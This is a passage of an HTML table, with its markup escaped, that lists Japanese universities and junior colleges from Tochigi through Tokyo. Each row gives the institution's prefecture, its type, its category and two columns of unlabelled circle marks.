&lt;tr&gt;
&lt;td&gt;宇都宮文星短期大学&lt;/td&gt;
&lt;td&gt;栃木県&lt;/td&gt;
&lt;td&gt;私立&lt;/td&gt;
&lt;td&gt;短大&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;國學院大學栃木短期大学&lt;/td&gt;
&lt;td&gt;栃木県&lt;/td&gt;
&lt;td&gt;私立&lt;/td&gt;
&lt;td&gt;短大&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;作新学院大学女子短期大学部&lt;/td&gt;
&lt;td&gt;栃木県&lt;/td&gt;
&lt;td&gt;私立&lt;/td&gt;
&lt;td&gt;短大&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;群馬大学&lt;/td&gt;
&lt;td&gt;群馬県&lt;/td&gt;
&lt;td&gt;国立&lt;/td&gt;
&lt;td&gt;大学&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;群馬県立女子大学&lt;/td&gt;
&lt;td&gt;群馬県&lt;/td&gt;
&lt;td&gt;公立&lt;/td&gt;
&lt;td&gt;大学&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;高崎経済大学&lt;/td&gt;
&lt;td&gt;群馬県&lt;/td&gt;
&lt;td&gt;公立&lt;/td&gt;
&lt;td&gt;大学&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;前橋工科大学&lt;/td&gt;
&lt;td&gt;群馬県&lt;/td&gt;
&lt;td&gt;公立&lt;/td&gt;
&lt;td&gt;大学&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;関東学園大学&lt;/td&gt;
&lt;td&gt;群馬県&lt;/td&gt;
&lt;td&gt;私立&lt;/td&gt;
&lt;td&gt;大学&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;共愛学園前橋国際大学&lt;/td&gt;
&lt;td&gt;群馬県&lt;/td&gt;
&lt;td&gt;私立&lt;/td&gt;
&lt;td&gt;大学&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;上武大学&lt;/td&gt;
&lt;td&gt;群馬県&lt;/td&gt;
&lt;td&gt;私立&lt;/td&gt;
&lt;td&gt;大学&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;高崎健康福祉大学&lt;/td&gt;
&lt;td&gt;群馬県&lt;/td&gt;
&lt;td&gt;私立&lt;/td&gt;
&lt;td&gt;大学&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;高崎商科大学&lt;/td&gt;
&lt;td&gt;群馬県&lt;/td&gt;
&lt;td&gt;私立&lt;/td&gt;
&lt;td&gt;大学&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;共愛学園前橋国際大学短期大学部&lt;/td&gt;
&lt;td&gt;群馬県&lt;/td&gt;
&lt;td&gt;私立&lt;/td&gt;
&lt;td&gt;短大&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;高崎商科大学短期大学部&lt;/td&gt;
&lt;td&gt;群馬県&lt;/td&gt;
&lt;td&gt;私立&lt;/td&gt;
&lt;td&gt;短大&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;新島学園短期大学&lt;/td&gt;
&lt;td&gt;群馬県&lt;/td&gt;
&lt;td&gt;私立&lt;/td&gt;
&lt;td&gt;短大&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;埼玉大学&lt;/td&gt;
&lt;td&gt;埼玉県&lt;/td&gt;
&lt;td&gt;国立&lt;/td&gt;
&lt;td&gt;大学&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;埼玉県立大学&lt;/td&gt;
&lt;td&gt;埼玉県&lt;/td&gt;
&lt;td&gt;公立&lt;/td&gt;
&lt;td&gt;大学&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;跡見学園女子大学&lt;/td&gt;
&lt;td&gt;埼玉県&lt;/td&gt;
&lt;td&gt;私立&lt;/td&gt;
&lt;td&gt;大学&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;浦和大学&lt;/td&gt;
&lt;td&gt;埼玉県&lt;/td&gt;
&lt;td&gt;私立&lt;/td&gt;
&lt;td&gt;大学&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;共栄大学&lt;/td&gt;
&lt;td&gt;埼玉県&lt;/td&gt;
&lt;td&gt;私立&lt;/td&gt;
&lt;td&gt;大学&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;埼玉学園大学&lt;/td&gt;
&lt;td&gt;埼玉県&lt;/td&gt;
&lt;td&gt;私立&lt;/td&gt;
&lt;td&gt;大学&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;尚美学園大学&lt;/td&gt;
&lt;td&gt;埼玉県&lt;/td&gt;
&lt;td&gt;私立&lt;/td&gt;
&lt;td&gt;大学&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;十文字学園女子大学&lt;/td&gt;
&lt;td&gt;埼玉県&lt;/td&gt;
&lt;td&gt;私立&lt;/td&gt;
&lt;td&gt;大学&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;城西大学&lt;/td&gt;
&lt;td&gt;埼玉県&lt;/td&gt;
&lt;td&gt;私立&lt;/td&gt;
&lt;td&gt;大学&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;女子栄養大学&lt;/td&gt;
&lt;td&gt;埼玉県&lt;/td&gt;
&lt;td&gt;私立&lt;/td&gt;
&lt;td&gt;大学&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;駿河台大学&lt;/td&gt;
&lt;td&gt;埼玉県&lt;/td&gt;
&lt;td&gt;私立&lt;/td&gt;
&lt;td&gt;大学&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;聖学院大学&lt;/td&gt;
&lt;td&gt;埼玉県&lt;/td&gt;
&lt;td&gt;私立&lt;/td&gt;
&lt;td&gt;大学&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;西武文理大学&lt;/td&gt;
&lt;td&gt;埼玉県&lt;/td&gt;
&lt;td&gt;私立&lt;/td&gt;
&lt;td&gt;大学&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;東京国際大学&lt;/td&gt;
&lt;td&gt;埼玉県&lt;/td&gt;
&lt;td&gt;私立&lt;/td&gt;
&lt;td&gt;大学&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;東邦音楽大学&lt;/td&gt;
&lt;td&gt;埼玉県&lt;/td&gt;
&lt;td&gt;私立&lt;/td&gt;
&lt;td&gt;大学&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;獨協大学&lt;/td&gt;
&lt;td&gt;埼玉県&lt;/td&gt;
&lt;td&gt;私立&lt;/td&gt;
&lt;td&gt;大学&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;日本医療科学大学&lt;/td&gt;
&lt;td&gt;埼玉県&lt;/td&gt;
&lt;td&gt;私立&lt;/td&gt;
&lt;td&gt;大学&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;日本薬科大学&lt;/td&gt;
&lt;td&gt;埼玉県&lt;/td&gt;
&lt;td&gt;私立&lt;/td&gt;
&lt;td&gt;大学&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;文京学院大学&lt;/td&gt;
&lt;td&gt;埼玉県&lt;/td&gt;
&lt;td&gt;私立&lt;/td&gt;
&lt;td&gt;大学&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;平成国際大学&lt;/td&gt;
&lt;td&gt;埼玉県&lt;/td&gt;
&lt;td&gt;私立&lt;/td&gt;
&lt;td&gt;大学&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;武蔵野学院大学&lt;/td&gt;
&lt;td&gt;埼玉県&lt;/td&gt;
&lt;td&gt;私立&lt;/td&gt;
&lt;td&gt;大学&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;ものつくり大学&lt;/td&gt;
&lt;td&gt;埼玉県&lt;/td&gt;
&lt;td&gt;私立&lt;/td&gt;
&lt;td&gt;大学&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;秋草学園短期大学&lt;/td&gt;
&lt;td&gt;埼玉県&lt;/td&gt;
&lt;td&gt;私立&lt;/td&gt;
&lt;td&gt;短大&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;浦和大学短期大学部&lt;/td&gt;
&lt;td&gt;埼玉県&lt;/td&gt;
&lt;td&gt;私立&lt;/td&gt;
&lt;td&gt;短大&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;川口短期大学&lt;/td&gt;
&lt;td&gt;埼玉県&lt;/td&gt;
&lt;td&gt;私立&lt;/td&gt;
&lt;td&gt;短大&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;埼玉女子短期大学&lt;/td&gt;
&lt;td&gt;埼玉県&lt;/td&gt;
&lt;td&gt;私立&lt;/td&gt;
&lt;td&gt;短大&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;城西短期大学&lt;/td&gt;
&lt;td&gt;埼玉県&lt;/td&gt;
&lt;td&gt;私立&lt;/td&gt;
&lt;td&gt;短大&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;山村学園短期大学&lt;/td&gt;
&lt;td&gt;埼玉県&lt;/td&gt;
&lt;td&gt;私立&lt;/td&gt;
&lt;td&gt;短大&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;千葉大学&lt;/td&gt;
&lt;td&gt;千葉県&lt;/td&gt;
&lt;td&gt;国立&lt;/td&gt;
&lt;td&gt;大学&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;愛国学園大学&lt;/td&gt;
&lt;td&gt;千葉県&lt;/td&gt;
&lt;td&gt;私立&lt;/td&gt;
&lt;td&gt;大学&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;植草学園大学&lt;/td&gt;
&lt;td&gt;千葉県&lt;/td&gt;
&lt;td&gt;私立&lt;/td&gt;
&lt;td&gt;大学&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;ＳＢＣ東京医療大学&lt;/td&gt;
&lt;td&gt;千葉県&lt;/td&gt;
&lt;td&gt;私立&lt;/td&gt;
&lt;td&gt;大学&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;江戸川大学&lt;/td&gt;
&lt;td&gt;千葉県&lt;/td&gt;
&lt;td&gt;私立&lt;/td&gt;
&lt;td&gt;大学&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;開智国際大学&lt;/td&gt;
&lt;td&gt;千葉県&lt;/td&gt;
&lt;td&gt;私立&lt;/td&gt;
&lt;td&gt;大学&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;川村学園女子大学&lt;/td&gt;
&lt;td&gt;千葉県&lt;/td&gt;
&lt;td&gt;私立&lt;/td&gt;
&lt;td&gt;大学&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;神田外語大学&lt;/td&gt;
&lt;td&gt;千葉県&lt;/td&gt;
&lt;td&gt;私立&lt;/td&gt;
&lt;td&gt;大学&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;敬愛大学&lt;/td&gt;
&lt;td&gt;千葉県&lt;/td&gt;
&lt;td&gt;私立&lt;/td&gt;
&lt;td&gt;大学&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;国際武道大学&lt;/td&gt;
&lt;td&gt;千葉県&lt;/td&gt;
&lt;td&gt;私立&lt;/td&gt;
&lt;td&gt;大学&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;秀明大学&lt;/td&gt;
&lt;td&gt;千葉県&lt;/td&gt;
&lt;td&gt;私立&lt;/td&gt;
&lt;td&gt;大学&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;淑徳大学&lt;/td&gt;
&lt;td&gt;千葉県&lt;/td&gt;
&lt;td&gt;私立&lt;/td&gt;
&lt;td&gt;大学&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;城西国際大学&lt;/td&gt;
&lt;td&gt;千葉県&lt;/td&gt;
&lt;td&gt;私立&lt;/td&gt;
&lt;td&gt;大学&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;清和大学&lt;/td&gt;
&lt;td&gt;千葉県&lt;/td&gt;
&lt;td&gt;私立&lt;/td&gt;
&lt;td&gt;大学&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;千葉科学大学&lt;/td&gt;
&lt;td&gt;千葉県&lt;/td&gt;
&lt;td&gt;私立&lt;/td&gt;
&lt;td&gt;大学&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;千葉経済大学&lt;/td&gt;
&lt;td&gt;千葉県&lt;/td&gt;
&lt;td&gt;私立&lt;/td&gt;
&lt;td&gt;大学&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;千葉工業大学&lt;/td&gt;
&lt;td&gt;千葉県&lt;/td&gt;
&lt;td&gt;私立&lt;/td&gt;
&lt;td&gt;大学&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;千葉商科大学&lt;/td&gt;
&lt;td&gt;千葉県&lt;/td&gt;
&lt;td&gt;私立&lt;/td&gt;
&lt;td&gt;大学&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;中央学院大学&lt;/td&gt;
&lt;td&gt;千葉県&lt;/td&gt;
&lt;td&gt;私立&lt;/td&gt;
&lt;td&gt;大学&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;帝京平成大学&lt;/td&gt;
&lt;td&gt;千葉県&lt;/td&gt;
&lt;td&gt;私立&lt;/td&gt;
&lt;td&gt;大学&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;東京基督教大学&lt;/td&gt;
&lt;td&gt;千葉県&lt;/td&gt;
&lt;td&gt;私立&lt;/td&gt;
&lt;td&gt;大学&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;東京情報大学&lt;/td&gt;
&lt;td&gt;千葉県&lt;/td&gt;
&lt;td&gt;私立&lt;/td&gt;
&lt;td&gt;大学&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;明海大学&lt;/td&gt;
&lt;td&gt;千葉県&lt;/td&gt;
&lt;td&gt;私立&lt;/td&gt;
&lt;td&gt;大学&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;麗澤大学&lt;/td&gt;
&lt;td&gt;千葉県&lt;/td&gt;
&lt;td&gt;私立&lt;/td&gt;
&lt;td&gt;大学&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;和洋女子大学&lt;/td&gt;
&lt;td&gt;千葉県&lt;/td&gt;
&lt;td&gt;私立&lt;/td&gt;
&lt;td&gt;大学&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;植草学園短期大学&lt;/td&gt;
&lt;td&gt;千葉県&lt;/td&gt;
&lt;td&gt;私立&lt;/td&gt;
&lt;td&gt;短大&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;敬愛短期大学&lt;/td&gt;
&lt;td&gt;千葉県&lt;/td&gt;
&lt;td&gt;私立&lt;/td&gt;
&lt;td&gt;短大&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;千葉経済大学短期大学部&lt;/td&gt;
&lt;td&gt;千葉県&lt;/td&gt;
&lt;td&gt;私立&lt;/td&gt;
&lt;td&gt;短大&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;千葉明徳短期大学&lt;/td&gt;
&lt;td&gt;千葉県&lt;/td&gt;
&lt;td&gt;私立&lt;/td&gt;
&lt;td&gt;短大&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;東京経営短期大学&lt;/td&gt;
&lt;td&gt;千葉県&lt;/td&gt;
&lt;td&gt;私立&lt;/td&gt;
&lt;td&gt;短大&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;日本大学短期大学部（船橋）&lt;/td&gt;
&lt;td&gt;千葉県&lt;/td&gt;
&lt;td&gt;私立&lt;/td&gt;
&lt;td&gt;短大&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;お茶の水女子大学&lt;/td&gt;
&lt;td&gt;東京都&lt;/td&gt;
&lt;td&gt;国立&lt;/td&gt;
&lt;td&gt;大学&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;職業能力開発総合大学校&lt;/td&gt;
&lt;td&gt;東京都&lt;/td&gt;
&lt;td&gt;国立&lt;/td&gt;
&lt;td&gt;大学&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;電気通信大学&lt;/td&gt;
&lt;td&gt;東京都&lt;/td&gt;
&lt;td&gt;国立&lt;/td&gt;
&lt;td&gt;大学&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;東京大学&lt;/td&gt;
&lt;td&gt;東京都&lt;/td&gt;
&lt;td&gt;国立&lt;/td&gt;
&lt;td&gt;大学&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;東京医科歯科大学&lt;/td&gt;
&lt;td&gt;東京都&lt;/td&gt;
&lt;td&gt;国立&lt;/td&gt;
&lt;td&gt;大学&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;東京海洋大学&lt;/td&gt;
&lt;td&gt;東京都&lt;/td&gt;
&lt;td&gt;国立&lt;/td&gt;
&lt;td&gt;大学&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;東京外国語大学&lt;/td&gt;
&lt;td&gt;東京都&lt;/td&gt;
&lt;td&gt;国立&lt;/td&gt;
&lt;td&gt;大学&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;東京学芸大学&lt;/td&gt;
&lt;td&gt;東京都&lt;/td&gt;
&lt;td&gt;国立&lt;/td&gt;
&lt;td&gt;大学&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;東京藝術大学&lt;/td&gt;
&lt;td&gt;東京都&lt;/td&gt;
&lt;td&gt;国立&lt;/td&gt;
&lt;td&gt;大学&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;東京工業大学&lt;/td&gt;
&lt;td&gt;東京都&lt;/td&gt;
&lt;td&gt;国立&lt;/td&gt;
&lt;td&gt;大学&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;東京農工大学&lt;/td&gt;
&lt;td&gt;東京都&lt;/td&gt;
&lt;td&gt;国立&lt;/td&gt;
&lt;td&gt;大学&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;一橋大学&lt;/td&gt;
&lt;td&gt;東京都&lt;/td&gt;
&lt;td&gt;国立&lt;/td&gt;
&lt;td&gt;大学&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;東京都立大学&lt;/td&gt;
&lt;td&gt;東京都&lt;/td&gt;
&lt;td&gt;公立&lt;/td&gt;
&lt;td&gt;大学&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;産業技術大学院大学&lt;/td&gt;
&lt;td&gt;東京都&lt;/td&gt;
&lt;td&gt;公立&lt;/td&gt;
&lt;td&gt;大学院&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;青山学院大学&lt;/td&gt;
&lt;td&gt;東京都&lt;/td&gt;
&lt;td&gt;私立&lt;/td&gt;
&lt;td&gt;大学&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;亜細亜大学&lt;/td&gt;
&lt;td&gt;東京都&lt;/td&gt;
&lt;td&gt;私立&lt;/td&gt;
&lt;td&gt;大学&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;大妻女子大学&lt;/td&gt;
&lt;td&gt;東京都&lt;/td&gt;
&lt;td&gt;私立&lt;/td&gt;
&lt;td&gt;大学&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;嘉悦大学&lt;/td&gt;
&lt;td&gt;東京都&lt;/td&gt;
&lt;td&gt;私立&lt;/td&gt;
&lt;td&gt;大学&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;学習院大学&lt;/td&gt;
&lt;td&gt;東京都&lt;/td&gt;
&lt;td&gt;私立&lt;/td&gt;
&lt;td&gt;大学&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;学習院女子大学&lt;/td&gt;
&lt;td&gt;東京都&lt;/td&gt;
&lt;td&gt;私立&lt;/td&gt;
&lt;td&gt;大学&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
